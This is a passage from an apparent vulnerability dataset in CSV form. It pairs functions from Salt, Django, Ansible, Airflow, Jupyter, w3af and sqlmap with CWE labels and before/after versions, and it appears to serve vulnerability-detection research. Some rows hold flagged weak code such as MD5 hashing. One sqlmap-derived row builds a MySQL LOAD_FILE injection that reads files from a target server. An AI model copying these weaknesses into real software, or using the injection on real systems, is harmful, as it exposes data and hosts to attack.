                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
            else:
                after = dateutil_parser.parse(data['after'])

                if after >= now:
                    log.debug(
                        'After time has not passed skipping job: %s.',
                        data['name']
                    )
                    data['_skip_reason'] = 'after_not_passed'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    data['run'] = False
                else:
                    data['run'] = True
            return data

        def _handle_until(job, data):
            '''
            Handle schedule item with until
            '''
            if not _WHEN_SUPPORTED:
                data['_error'] = ('Missing python-dateutil. '
                                  'Ignoring job {0}'.format(job))
                log.error(data['_error'])
            else:
                until = dateutil_parser.parse(data['until'])

                if until <= now:
                    log.debug(
                        'Until time has passed skipping job: %s.',
                        data['name']
                    )
                    data['_skip_reason'] = 'until_passed'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    data['run'] = False
                else:
                    data['run'] = True
            return data

        schedule = self._get_schedule()
        if not isinstance(schedule, dict):
            raise ValueError('Schedule must be of type dict.')
        if 'skip_function' in schedule:
            self.skip_function = schedule['skip_function']
        if 'skip_during_range' in schedule:
            self.skip_during_range = schedule['skip_during_range']
        if 'enabled' in schedule:
            self.enabled = schedule['enabled']

        _hidden = ['enabled',
                   'skip_function',
                   'skip_during_range']
        for job, data in six.iteritems(schedule):

            # Skip anything that is a global setting
            if job in _hidden:
                continue

            # Clear these out between runs
            for item in ['_continue',
                         '_error',
                         '_skip_reason']:
                if item in data:
                    del data[item]
            run = False

            if not isinstance(data, dict):
                log.error(
                    'Scheduled job ""%s"" should have a dict value, not %s',
                    job, type(data)
                )
                continue
            if 'function' in data:
                func = data['function']
            elif 'func' in data:
                func = data['func']
            elif 'fun' in data:
                func = data['fun']
            else:
                func = None
            if func not in self.functions:
                log.info(
                    'Invalid function: %s in scheduled job %s.',
                    func, job
                )
            if 'name' not in data:
                data['name'] = job

            if '_next_fire_time' not in data:
                data['_next_fire_time'] = None

            if '_splay' not in data:
                data['_splay'] = None

            if 'run_on_start' in data and \
                    data['run_on_start'] and \
                    '_run_on_start' not in data:
                data['_run_on_start'] = True

            if not now:
                now = datetime.datetime.now()

            # Used for quick lookups when detecting invalid option
            # combinations.
            schedule_keys = set(data.keys())

            time_elements = ('seconds', 'minutes', 'hours', 'days')
            scheduling_elements = ('when', 'cron', 'once')

            invalid_sched_combos = [set(i)
                    for i in itertools.combinations(scheduling_elements, 2)]

            if any(i <= schedule_keys for i in invalid_sched_combos):
                log.error(
                    'Unable to use ""%s"" options together. Ignoring.',
                    '"", ""'.join(scheduling_elements)
                )
                continue

            invalid_time_combos = []
            for item in scheduling_elements:
                all_items = itertools.chain([item], time_elements)
                invalid_time_combos.append(
                    set(itertools.combinations(all_items, 2)))

            if any(set(x) <= schedule_keys for x in invalid_time_combos):
                log.error(
                    'Unable to use ""%s"" with ""%s"" options. Ignoring',
                    '"", ""'.join(time_elements),
                    '"", ""'.join(scheduling_elements)
                )
                continue

            if 'run_explicit' in data:
                data = _handle_run_explicit(data, loop_interval)
                run = data['run']

            if True in [True for item in time_elements if item in data]:
                data = _handle_time_elements(data)
            elif 'once' in data:
                data = _handle_once(job, data, loop_interval)
            elif 'when' in data:
                data = _handle_when(job, data, loop_interval)
            elif 'cron' in data:
                data = _handle_cron(job, data, loop_interval)
            else:
                continue

            # An error occurred so we bail out
            if '_error' in data and data['_error']:
                continue

            seconds = int((data['_next_fire_time'] - now).total_seconds())

            if 'splay' in data:
                # Got ""splay"" configured, make decision to run a job based on that
                if not data['_splay']:
                    # Try to add ""splay"" time only if next job fire time is
                    # still in the future. We should trigger job run
                    # immediately otherwise.
                    splay = _splay(data['splay'])
                    if now < data['_next_fire_time'] + datetime.timedelta(seconds=splay):
                        log.debug('schedule.handle_func: Adding splay of '
                                  '%s seconds to next run.', splay)
                        data['_splay'] = data['_next_fire_time'] + datetime.timedelta(seconds=splay)
                        if 'when' in data:
                            data['_run'] = True
                    else:
                        run = True

                if data['_splay']:
                    # The ""splay"" configuration has been already processed, just use it
                    seconds = data['_splay'] - now
                    seconds = (data['_splay'] - now).total_seconds()

            if '_seconds' in data:
                if seconds <= 0:
                    run = True
            elif 'when' in data and data['_run']:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + loop_interval):
                    data['_run'] = False
                    run = True
            elif 'cron' in data:
                # Reset next scheduled time because it is in the past now,
                # and we should trigger the job run, then wait for the next one.
                if seconds <= 0:
                    data['_next_fire_time'] = None
                    run = True
            elif 'once' in data:
                if data['_next_fire_time'] <= now <= (data['_next_fire_time'] + loop_interval):
                    run = True
            elif seconds == 0:
                run = True

            if '_run_on_start' in data and data['_run_on_start']:
                run = True
                data['_run_on_start'] = False
            elif run:
                if 'range' in data:
                    data = _handle_range(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                # If there is no job specific skip_during_range available,
                # grab the global which defaults to None.
                if 'skip_during_range' not in data:
                    data['skip_during_range'] = self.skip_during_range

                if 'skip_during_range' in data and data['skip_during_range']:
                    data = _handle_skip_during_range(job, data, loop_interval)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                if 'skip_explicit' in data:
                    data = _handle_skip_explicit(data, loop_interval)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']
                    # Override the functiton if passed back
                    if 'func' in data:
                        func = data['func']

                if 'until' in data:
                    data = _handle_until(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']

                if 'after' in data:
                    data = _handle_after(job, data)

                    # An error occurred so we bail out
                    if '_error' in data and data['_error']:
                        continue

                    run = data['run']

            # If the job item has continue, then we set run to False
            # so the job does not run but we still get the important
            # information calculated, eg. _next_fire_time
            if '_continue' in data and data['_continue']:
                run = False

            # If there is no job specific enabled available,
            # grab the global which defaults to True.
            if 'enabled' not in data:
                data['enabled'] = self.enabled

            # Job is disabled, set run to False
            if 'enabled' in data and not data['enabled']:
                log.debug('Job: %s is disabled', job)
                data['_skip_reason'] = 'disabled'
                run = False

            miss_msg = ''
            if seconds < 0:
                miss_msg = ' (runtime missed ' \
                           'by {0} seconds)'.format(abs(seconds))

            multiprocessing_enabled = self.opts.get('multiprocessing', True)

            if salt.utils.platform.is_windows():
                # Temporarily stash our function references.
                # You can't pickle function references, and pickling is
                # required when spawning new processes on Windows.
                functions = self.functions
                self.functions = {}
                returners = self.returners
                self.returners = {}
            try:
                # Job is disabled, continue
                if 'enabled' in data and not data['enabled']:
                    log.debug('Job: %s is disabled', job)
                    data['_skip_reason'] = 'disabled'
                    data['_skipped_time'] = now
                    data['_skipped'] = True
                    continue

                if 'jid_include' not in data or data['jid_include']:
                    data['jid_include'] = True
                    log.debug('schedule: This job was scheduled with jid_include, '
                              'adding to cache (jid_include defaults to True)')
                    if 'maxrunning' in data:
                        log.debug('schedule: This job was scheduled with a max '
                                  'number of %s', data['maxrunning'])
                    else:
                        log.info('schedule: maxrunning parameter was not specified for '
                                 'job %s, defaulting to 1.', job)
                        data['maxrunning'] = 1

                if self.standalone:
                    data['run'] = run
                    data = self._check_max_running(func,
                                                   data,
                                                   self.opts,
                                                   now)
                    run = data['run']

                if run:
                    log.info('Running scheduled job: %s%s', job, miss_msg)

                    if multiprocessing_enabled:
                        thread_cls = salt.utils.process.SignalHandlingMultiprocessingProcess
                    else:
                        thread_cls = threading.Thread
                    proc = thread_cls(target=self.handle_func, args=(multiprocessing_enabled, func, data))

                    if multiprocessing_enabled:
                        with salt.utils.process.default_signals(signal.SIGINT, signal.SIGTERM):
                            # Reset current signals before starting the process in
                            # order not to inherit the current signal handlers
                            proc.start()
                    else:
                        proc.start()

                    if multiprocessing_enabled:
                        proc.join()
            finally:
                # Only set _last_run if the job ran
                if run:
                    data['_last_run'] = now
                    if '_seconds' in data:
                        data['_next_fire_time'] = now + datetime.timedelta(seconds=data['_seconds'])
                    data['_splay'] = None

            if salt.utils.platform.is_windows():
                # Restore our function references.
                self.functions = functions
                self.returners = returners"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/formtools/wizard/storage/base.py,0,"def get_step_files(self, step):
        wizard_files = self.data[self.step_files_key].get(step, {})

        if wizard_files and not self.file_storage:
            raise NoFileStorageConfigured(
                ""You need to define 'file_storage' in your ""
                ""wizard view in order to handle file uploads."")

        files = {}
        for field, field_dict in six.iteritems(wizard_files):
            field_dict = field_dict.copy()
            tmp_name = field_dict.pop('tmp_name')
            files[field] = UploadedFile(
                file=self.file_storage.open(tmp_name), **field_dict)
        return files or None",CWE-Unknown,django/django,b289fcf1bfeaa717ed465b2529a275b61dc02d92,"def get_step_files(self, step):
        wizard_files = self.data[self.step_files_key].get(step, {})

        if wizard_files and not self.file_storage:
            raise NoFileStorageConfigured(
                    ""You need to define 'file_storage' in your ""
                    ""wizard view in order to handle file uploads."")

        files = {}
        for field, field_dict in six.iteritems(wizard_files):
            field_dict = field_dict.copy()
            tmp_name = field_dict.pop('tmp_name')
            files[field] = UploadedFile(
                file=self.file_storage.open(tmp_name), **field_dict)
        return files or None"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/cloud.py,0,"def absent(name, onlyif=None, unless=None):
    '''
    Ensure that no instances with the specified names exist.

    CAUTION: This is a destructive state, which will search all
    configured cloud providers for the named instance,
    and destroy it.

    name
        The name of the instance to destroy

    onlyif
        Do run the state only if is unless succeed

    unless
        Do not run the state at least unless succeed

    '''
    ret = {'name': name,
           'changes': {},
           'result': None,
           'comment': ''}
    retcode = __salt__['cmd.retcode']
    instance = __salt__['cloud.action'](fun='show_instance', names=[name])
    if not instance or \
            ('Not Actioned/Not Running' in instance
            and name in instance['Not Actioned/Not Running']):
        ret['result'] = True
        ret['comment'] = 'Instance {0} already absent'.format(name)
        return ret
    if __opts__['test']:
        ret['comment'] = 'Instance {0} needs to be destroyed'.format(name)
        return ret
    if onlyif is not None:
        if not isinstance(onlyif, string_types):
            if not onlyif:
                return _valid(name, comment='onlyif execution failed')
        elif isinstance(onlyif, string_types):
            if retcode(onlyif) != 0:
                return _valid(name, comment='onlyif execution failed')
    if unless is not None:
        if not isinstance(unless, string_types):
            if unless:
                return _valid(name, comment='unless execution succeeded')
        elif isinstance(unless, string_types):
            if retcode(unless) == 0:
                return _valid(name, comment='unless execution succeeded')
    info = __salt__['cloud.destroy'](name)
    if info and 'Error' not in info:
        ret['changes'] = info
        ret['result'] = True
        ret['comment'] = ('Destroyed instance {0}').format(
            name,
        )
    elif 'Error' in info:
        ret['result'] = False
        ret['comment'] = ('Failed to destroy instance {0}: {1}').format(
            name,
            info['Error'],
        )
    else:
        ret['result'] = False
        ret['comment'] = 'Failed to destroy instance {0}'.format(name)
    return ret",,saltstack/salt,9771b5a31330fad0dbd2ea85f66f71df2a4cf8cb,"def absent(name, onlyif=None, unless=None):
    '''
    Ensure that no instances with the specified names exist.

    CAUTION: This is a destructive state, which will search all
    configured cloud providers for the named instance,
    and destroy it.

    name
        The name of the instance to destroy

    onlyif
        Do run the state only if is unless succeed

    unless
        Do not run the state at least unless succeed

    '''
    ret = {'name': name,
           'changes': {},
           'result': None,
           'comment': ''}
    retcode = __salt__['cmd.retcode']
    instance = __salt__['cloud.action'](fun='show_instance', names=[name])
    if not instance or \
            ('Not Actioned/Not Running' in ret
            and name in ret['Not Actioned/Not Running']):
        ret['result'] = True
        ret['comment'] = 'Instance {0} already absent'.format(name)
        return ret
    if __opts__['test']:
        ret['comment'] = 'Instance {0} needs to be destroyed'.format(name)
        return ret
    if onlyif is not None:
        if not isinstance(onlyif, string_types):
            if not onlyif:
                return _valid(name, comment='onlyif execution failed')
        elif isinstance(onlyif, string_types):
            if retcode(onlyif) != 0:
                return _valid(name, comment='onlyif execution failed')
    if unless is not None:
        if not isinstance(unless, string_types):
            if unless:
                return _valid(name, comment='unless execution succeeded')
        elif isinstance(unless, string_types):
            if retcode(unless) == 0:
                return _valid(name, comment='unless execution succeeded')
    info = __salt__['cloud.destroy'](name)
    if info and 'Error' not in info:
        ret['changes'] = info
        ret['result'] = True
        ret['comment'] = ('Destroyed instance {0}').format(
            name,
        )
    elif 'Error' in info:
        ret['result'] = False
        ret['comment'] = ('Failed to destroy instance {0}: {1}').format(
            name,
            info['Error'],
        )
    else:
        ret['result'] = False
        ret['comment'] = 'Failed to destroy instance {0}'.format(name)
    return ret"
,UNKNOWN,UNKNOWN,salt/utils/hashutils.py,1,"def md5_digest(instr):
    '''
    Generate an md5 hash of a given string.
    '''
    if six.PY3:
        b = salt.utils.to_bytes(instr)
        return hashlib.md5(b).hexdigest()
    return hashlib.md5(instr).hexdigest()",CWE-327,saltstack/salt,0a4f5fcc7add183c012bffb4c38dc43bb4f57d3f,"def md5_digest(instr):
    '''
    Generate an md5 hash of a given string.
    '''
    if six.PY3:
        b = salt.utils.to_bytes(instr)
        return hashlib.md5(b).hexdigest()
    return hashlib.md5(instr).hexdigest()"
,UNKNOWN,UNKNOWN,test/units/utils/test_collection_loader.py,1,"def test_import_from_collection(monkeypatch):
    collection_root = os.path.join(os.path.dirname(__file__), 'fixtures', 'collections')
    collection_path = os.path.join(collection_root, 'ansible_collections/my_namespace/my_collection/plugins/module_utils/my_util.py')

    # the trace we're expecting to be generated when running the code below:
    # answer = question()
    expected_trace_log = [
        (collection_path, 5, 'call'),
        (collection_path, 6, 'line'),
        (collection_path, 6, 'return'),
    ]

    # define the collection root before any ansible code has been loaded
    # otherwise config will have already been loaded and changing the environment will have no effect
    monkeypatch.setenv('ANSIBLE_COLLECTIONS_PATHS', collection_root)

    from ansible.utils.collection_loader import AnsibleCollectionLoader

    # zap the singleton collection loader instance if it exists
    AnsibleCollectionLoader._Singleton__instance = None

    for index in [idx for idx, obj in enumerate(sys.meta_path) if isinstance(obj, AnsibleCollectionLoader)]:
        # replace any existing collection loaders that may exist
        # since these were loaded during unit test collection
        # they will not have the correct configuration
        sys.meta_path[index] = AnsibleCollectionLoader()

    # make sure the collection loader is installed
    # this will be a no-op if the collection loader is already installed
    # which will depend on whether or not any tests being run imported ansible.plugins.loader during unit test collection
    from ansible.plugins.loader import _configure_collection_loader
    _configure_collection_loader()  # currently redundant, the import above already calls this

    from ansible_collections.my_namespace.my_collection.plugins.module_utils.my_util import question

    original_trace_function = sys.gettrace()
    trace_log = []

    if original_trace_function:
        # enable tracing while preserving the existing trace function (coverage)
        def my_trace_function(frame, event, arg):
            trace_log.append((frame.f_code.co_filename, frame.f_lineno, event))

            # the original trace function expects to have itself set as the trace function
            sys.settrace(original_trace_function)
            # call the original trace function
            original_trace_function(frame, event, arg)
            # restore our trace function
            sys.settrace(my_trace_function)

            return my_trace_function
    else:
        # no existing trace function, so our trace function is much simpler
        def my_trace_function(frame, event, arg):
            trace_log.append((frame.f_code.co_filename, frame.f_lineno, event))

            return my_trace_function

    sys.settrace(my_trace_function)

    try:
        # run a minimal amount of code while the trace is running
        # adding more code here, including use of a context manager, will add more to our trace
        answer = question()
    finally:
        sys.settrace(original_trace_function)

    # make sure 'import ... as ...' works on builtin synthetic collections
    # the following import is not supported (it tries to find module_utils in ansible.plugins)
    # import ansible_collections.ansible.builtin.plugins.module_utils as c1
    import ansible_collections.ansible.builtin.plugins.action as c2
    import ansible_collections.ansible.builtin.plugins as c3
    import ansible_collections.ansible.builtin as c4
    import ansible_collections.ansible as c5
    import ansible_collections as c6

    # make sure 'import ...' works on builtin synthetic collections
    import ansible_collections.ansible.builtin.plugins.module_utils

    import ansible_collections.ansible.builtin.plugins.action
    assert ansible_collections.ansible.builtin.plugins.action == c3.action == c2

    import ansible_collections.ansible.builtin.plugins
    assert ansible_collections.ansible.builtin.plugins == c4.plugins == c3

    import ansible_collections.ansible.builtin
    assert ansible_collections.ansible.builtin == c5.builtin == c4

    import ansible_collections.ansible
    assert ansible_collections.ansible == c6.ansible == c5

    import ansible_collections
    assert ansible_collections == c6

    # make sure 'from ... import ...' works on builtin synthetic collections
    from ansible_collections.ansible import builtin
    from ansible_collections.ansible.builtin import plugins
    assert builtin.plugins == plugins

    from ansible_collections.ansible.builtin.plugins import action
    from ansible_collections.ansible.builtin.plugins.action import command
    assert action.command == command

    from ansible_collections.ansible.builtin.plugins.module_utils import basic
    from ansible_collections.ansible.builtin.plugins.module_utils.basic import AnsibleModule
    assert basic.AnsibleModule == AnsibleModule

    # make sure relative imports work from collections code
    # these require __package__ to be set correctly
    import ansible_collections.my_namespace.my_collection.plugins.module_utils.my_other_util
    import ansible_collections.my_namespace.my_collection.plugins.action.my_action

    # verify that code loaded from a collection does not inherit __future__ statements from the collection loader
    if sys.version_info[0] == 2:
        # if the collection code inherits the division future feature from the collection loader this will fail
        assert answer == 1
    else:
        assert answer == 1.5

    # verify that the filename and line number reported by the trace is correct
    # this makes sure that collection loading preserves file paths and line numbers
    assert trace_log == expected_trace_log",CWE-703,ansible/ansible,d28f25d11826de5c8cda2de6d4b7918106ed53df,"def test_import_from_collection(monkeypatch):
    collection_root = os.path.join(os.path.dirname(__file__), 'fixtures', 'collections')
    collection_path = os.path.join(collection_root, 'ansible_collections/my_namespace/my_collection/plugins/module_utils/my_util.py')

    # the trace we're expecting to be generated when running the code below:
    # answer = question()
    expected_trace_log = [
        (collection_path, 5, 'call'),
        (collection_path, 6, 'line'),
        (collection_path, 6, 'return'),
    ]

    # define the collection root before any ansible code has been loaded
    # otherwise config will have already been loaded and changing the environment will have no effect
    monkeypatch.setenv('ANSIBLE_COLLECTIONS_PATHS', collection_root)

    from ansible.utils.collection_loader import AnsibleCollectionLoader

    for index in [idx for idx, obj in enumerate(sys.meta_path) if isinstance(obj, AnsibleCollectionLoader)]:
        # replace any existing collection loaders that may exist
        # since these were loaded during unit test collection
        # they will not have the correct configuration
        sys.meta_path[index] = AnsibleCollectionLoader()

    # make sure the collection loader is installed
    # this will be a no-op if the collection loader is already installed
    # which will depend on whether or not any tests being run imported ansible.plugins.loader during unit test collection
    from ansible.plugins.loader import _configure_collection_loader
    _configure_collection_loader()  # currently redundant, the import above already calls this

    from ansible_collections.my_namespace.my_collection.plugins.module_utils.my_util import question

    original_trace_function = sys.gettrace()
    trace_log = []

    if original_trace_function:
        # enable tracing while preserving the existing trace function (coverage)
        def my_trace_function(frame, event, arg):
            trace_log.append((frame.f_code.co_filename, frame.f_lineno, event))

            # the original trace function expects to have itself set as the trace function
            sys.settrace(original_trace_function)
            # call the original trace function
            original_trace_function(frame, event, arg)
            # restore our trace function
            sys.settrace(my_trace_function)

            return my_trace_function
    else:
        # no existing trace function, so our trace function is much simpler
        def my_trace_function(frame, event, arg):
            trace_log.append((frame.f_code.co_filename, frame.f_lineno, event))

            return my_trace_function

    sys.settrace(my_trace_function)

    try:
        # run a minimal amount of code while the trace is running
        # adding more code here, including use of a context manager, will add more to our trace
        answer = question()
    finally:
        sys.settrace(original_trace_function)

    # make sure 'import ... as ...' works on builtin synthetic collections
    # the following import is not supported (it tries to find module_utils in ansible.plugins)
    # import ansible_collections.ansible.builtin.plugins.module_utils as c1
    import ansible_collections.ansible.builtin.plugins.action as c2
    import ansible_collections.ansible.builtin.plugins as c3
    import ansible_collections.ansible.builtin as c4
    import ansible_collections.ansible as c5
    import ansible_collections as c6

    # make sure 'import ...' works on builtin synthetic collections
    import ansible_collections.ansible.builtin.plugins.module_utils

    import ansible_collections.ansible.builtin.plugins.action
    assert ansible_collections.ansible.builtin.plugins.action == c3.action == c2

    import ansible_collections.ansible.builtin.plugins
    assert ansible_collections.ansible.builtin.plugins == c4.plugins == c3

    import ansible_collections.ansible.builtin
    assert ansible_collections.ansible.builtin == c5.builtin == c4

    import ansible_collections.ansible
    assert ansible_collections.ansible == c6.ansible == c5

    import ansible_collections
    assert ansible_collections == c6

    # make sure 'from ... import ...' works on builtin synthetic collections
    from ansible_collections.ansible import builtin
    from ansible_collections.ansible.builtin import plugins
    assert builtin.plugins == plugins

    from ansible_collections.ansible.builtin.plugins import action
    from ansible_collections.ansible.builtin.plugins.action import command
    assert action.command == command

    from ansible_collections.ansible.builtin.plugins.module_utils import basic
    from ansible_collections.ansible.builtin.plugins.module_utils.basic import AnsibleModule
    assert basic.AnsibleModule == AnsibleModule

    # make sure relative imports work from collections code
    # these require __package__ to be set correctly
    import ansible_collections.my_namespace.my_collection.plugins.module_utils.my_other_util
    import ansible_collections.my_namespace.my_collection.plugins.action.my_action

    # verify that code loaded from a collection does not inherit __future__ statements from the collection loader
    if sys.version_info[0] == 2:
        # if the collection code inherits the division future feature from the collection loader this will fail
        assert answer == 1
    else:
        assert answer == 1.5

    # verify that the filename and line number reported by the trace is correct
    # this makes sure that collection loading preserves file paths and line numbers
    assert trace_log == expected_trace_log"
,UNKNOWN,UNKNOWN,tests/jobs/test_local_task_job.py,1,"def test_localtaskjob_heartbeat_with_run_as_user(self, psutil_mock, dag_maker):
        session = settings.Session()
        with dag_maker('test_localtaskjob_heartbeat'):
            op1 = DummyOperator(task_id='op1', run_as_user='myuser')
        dr = dag_maker.dag_run
        ti = dr.get_task_instance(task_id=op1.task_id, session=session)
        ti.state = State.RUNNING
        ti.pid = 2
        ti.hostname = get_hostname()
        session.commit()

        job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor())
        ti.task = op1
        ti.refresh_from_task(op1)
        job1.task_runner = StandardTaskRunner(job1)
        job1.task_runner.process = mock.Mock()
        job1.task_runner.process.pid = 2
        # Here, ti.pid is 2, the parent process of ti.pid is a mock(different).
        # And task_runner process is 2. Should fail
        with pytest.raises(AirflowException, match='PID of job runner does not match'):
            job1.heartbeat_callback()

        job1.task_runner.process.pid = 1
        # We make the parent process of ti.pid to equal the task_runner process id
        psutil_mock.Process.return_value.ppid.return_value = 1
        ti.state = State.RUNNING
        ti.pid = 2
        # The task_runner process id is 1, same as the parent process of ti.pid
        # as seen above
        assert ti.run_as_user
        session.merge(ti)
        session.commit()
        job1.heartbeat_callback(session=None)

        # Here the task_runner process id is changed to 2
        # while parent process of ti.pid is kept at 1, which is different
        job1.task_runner.process.pid = 2
        with pytest.raises(AirflowException, match='PID of job runner does not match'):
            job1.heartbeat_callback()",CWE-703,apache/airflow,40419dd371c7be53e6c8017b0c4d1bc7f75d0fb6,"def test_localtaskjob_heartbeat_with_run_as_user(self, psutil_mock, dag_maker):
        session = settings.Session()
        with dag_maker('test_localtaskjob_heartbeat'):
            op1 = DummyOperator(task_id='op1', run_as_user='myuser')
        dr = dag_maker.dag_run
        ti = dr.get_task_instance(task_id=op1.task_id, session=session)
        ti.state = State.RUNNING
        ti.pid = 2
        ti.hostname = get_hostname()
        session.commit()

        job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor())
        ti.task = op1
        ti.refresh_from_task(op1)
        job1.task_runner = StandardTaskRunner(job1)
        job1.task_runner.process = mock.Mock()
        job1.task_runner.process.pid = 2
        # Here, ti.pid is 2, the parent process of ti.pid is a mock(different).
        # And task_runner process is 2. Should fail
        with pytest.raises(AirflowException, match='PID of job runner does not match'):
            job1.heartbeat_callback()

        job1.task_runner.process.pid = 1
        # We make the parent process of ti.pid to equal the task_runner process id
        psutil_mock.Process.return_value.ppid.return_value = 1
        ti.state = State.RUNNING
        ti.pid = 2
        # The task_runner process id is 1, same as the parent process of ti.pid
        # as seen above
        assert ti.run_as_user
        session.merge(ti)
        session.commit()
        job1.heartbeat_callback(session=None)

        # Here the task_runner process id is changed to 2
        # while parent process of ti.pid is kept at 1, which is different
        job1.task_runner.process.pid = 2
        with pytest.raises(AirflowException, match='PID of job runner does not match'):
            job1.heartbeat_callback()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/mysql/filesystem.py,0,"def nonStackedReadFile(self, rFile):
        infoMsg = ""fetching file: '%s'"" % rFile
        logger.info(infoMsg)

        result = inject.getValue(""HEX(LOAD_FILE('%s'))"" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)

        return result",,andresriancho/w3af,a333d32f3a834e3f1c551b126466aaf403a6ef5f,"def nonStackedReadFile(self, rFile):
        infoMsg = ""fetching file: '%s'"" % rFile
        logger.info(infoMsg)

        result = inject.getValue(""SELECT HEX(LOAD_FILE('%s'))"" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)

        return result"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,extra/socks/socks.py,0,"def wrapmodule(module):
    """"""wrapmodule(module)
    Attempts to replace a module's socket library with a SOCKS socket. Must set
    a default proxy using setdefaultproxy(...) first.
    This will only work on modules that import socket directly into the namespace;
    most of the Python Standard Library falls into this category.
    """"""
    if _defaultproxy != None:
        module.socket.socket = socksocket
        module.socket.create_connection = create_connection
    else:
        raise GeneralProxyError((4, ""no proxy specified""))",,sqlmapproject/sqlmap,b99c157d0fd002265bc32af0b3549d51b11991f9,"def wrapmodule(module):
    """"""wrapmodule(module)
    Attempts to replace a module's socket library with a SOCKS socket. Must set
    a default proxy using setdefaultproxy(...) first.
    This will only work on modules that import socket directly into the namespace;
    most of the Python Standard Library falls into this category.
    """"""
    if _defaultproxy != None:
        module.socket.socket = socksocket
    else:
        raise GeneralProxyError((4, ""no proxy specified""))"
,UNKNOWN,UNKNOWN,tests/unit/proxy/test_napalm.py,1,"def setup_loader_modules(self):
        def mock_get_device(opts, *args, **kwargs):
            assert opts == self.test_opts
            return {""DRIVER"": napalm_test_support.MockNapalmDevice(), ""UP"": True}

        patcher = patch(""salt.utils.napalm.get_device"", mock_get_device)
        patcher.start()
        self.addCleanup(patcher.stop)
        self.test_opts = {
            ""proxytype"": ""napalm"",
            ""driver"": ""junos"",
            ""host"": ""core05.nrt02"",
            ""id"": ""core05.nrt02"",
        }
        module_globals = {
            ""__salt__"": {
                ""config.option"": MagicMock(
                    return_value={""test"": {""driver"": ""test"", ""key"": ""2orgk34kgk34g""}}
                )
            }
        }
        module_globals[""napalm_base""] = MagicMock()
        return {napalm_proxy: module_globals}",CWE-703,saltstack/salt,eb12cebbab49aeba4ab1714f81e1d82c3e8b5a4b,"def setup_loader_modules(self):
        def mock_get_device(opts, *args, **kwargs):
            assert opts == self.test_opts
            return {""DRIVER"": napalm_test_support.MockNapalmDevice(), ""UP"": True}

        patcher = patch(""salt.utils.napalm.get_device"", mock_get_device)
        patcher.start()
        self.addCleanup(patcher.stop)
        self.test_opts = {
            ""proxytype"": ""napalm"",
            ""driver"": ""junos"",
            ""host"": ""core05.nrt02"",
        }
        module_globals = {
            ""__salt__"": {
                ""config.option"": MagicMock(
                    return_value={""test"": {""driver"": ""test"", ""key"": ""2orgk34kgk34g""}}
                )
            }
        }
        module_globals[""napalm_base""] = MagicMock()
        return {napalm_proxy: module_globals}"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/notebooks/filenbmanager.py,0,"def change_notebook(self, data, notebook_name, notebook_path=None):
        """"""Changes notebook""""""
        changes = data.keys()
        response = 200
        for change in changes:
            full_path = self.get_path(notebook_name, notebook_path)
            if change == ""name"":
                new_path = self.get_path(data['name'], notebook_path)
                if not os.path.isfile(new_path):
                    os.rename(full_path,
                        self.get_path(data['name'], notebook_path))
                    notebook_name = data['name']
                else:
                    response = 409
            if change == ""path"":
                new_path = self.get_path(data['name'], data['path'])
                stutil.move(full_path, new_path)
                notebook_path = data['path']
            if change == ""content"":
                self.save_notebook(data, notebook_name, notebook_path)
        model = self.notebook_model(notebook_name, notebook_path)
        return model, response",,jupyter/notebook,18fdb262733654d24eac5643f629a30be95de906,"def change_notebook(self, data, notebook_name, notebook_path=None):
        """"""Changes notebook""""""
        changes = data.keys()
        response = 200
        for change in changes:
            full_path = self.get_path(notebook_name, notebook_path)
            if change == ""name"":
                new_path = self.get_path(data['name'], notebook_path)
                if os.path.isfile(new_path) == False:
                    os.rename(full_path,
                        self.get_path(data['name'], notebook_path))
                    notebook_name = data['name']
                else:
                    response = 409
            if change == ""path"":
                new_path = self.get_path(data['name'], data['path'])
                stutil.move(full_path, new_path)
                notebook_path = data['path']
            if change == ""content"":
                self.save_notebook(data, notebook_name, notebook_path)
        model = self.notebook_model(notebook_name, notebook_path)
        return model, response"
,UNKNOWN,UNKNOWN,django/db/backends/oracle/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Return a description of the table with the DB-API cursor.description
        interface.
        """"""
        # A default collation for the given table/view/materialized view.
        cursor.execute(
            """"""
            SELECT user_tables.default_collation
            FROM user_tables
            WHERE
                user_tables.table_name = UPPER(%s) AND
                NOT EXISTS (
                    SELECT 1
                    FROM user_mviews
                    WHERE user_mviews.mview_name = user_tables.table_name
                )
            UNION ALL
            SELECT user_views.default_collation
            FROM user_views
            WHERE user_views.view_name = UPPER(%s)
            UNION ALL
            SELECT user_mviews.default_collation
            FROM user_mviews
            WHERE user_mviews.mview_name = UPPER(%s)
            """""",
            [table_name, table_name, table_name],
        )
        row = cursor.fetchone()
        default_table_collation = row[0] if row else """"
        # user_tab_columns gives data default for columns
        cursor.execute(
            """"""
            SELECT
                user_tab_cols.column_name,
                user_tab_cols.data_default,
                CASE
                    WHEN user_tab_cols.collation = %s
                    THEN NULL
                    ELSE user_tab_cols.collation
                END collation,
                CASE
                    WHEN user_tab_cols.char_used IS NULL
                    THEN user_tab_cols.data_length
                    ELSE user_tab_cols.char_length
                END as display_size,
                CASE
                    WHEN user_tab_cols.identity_column = 'YES' THEN 1
                    ELSE 0
                END as is_autofield,
                CASE
                    WHEN EXISTS (
                        SELECT  1
                        FROM user_json_columns
                        WHERE
                            user_json_columns.table_name = user_tab_cols.table_name AND
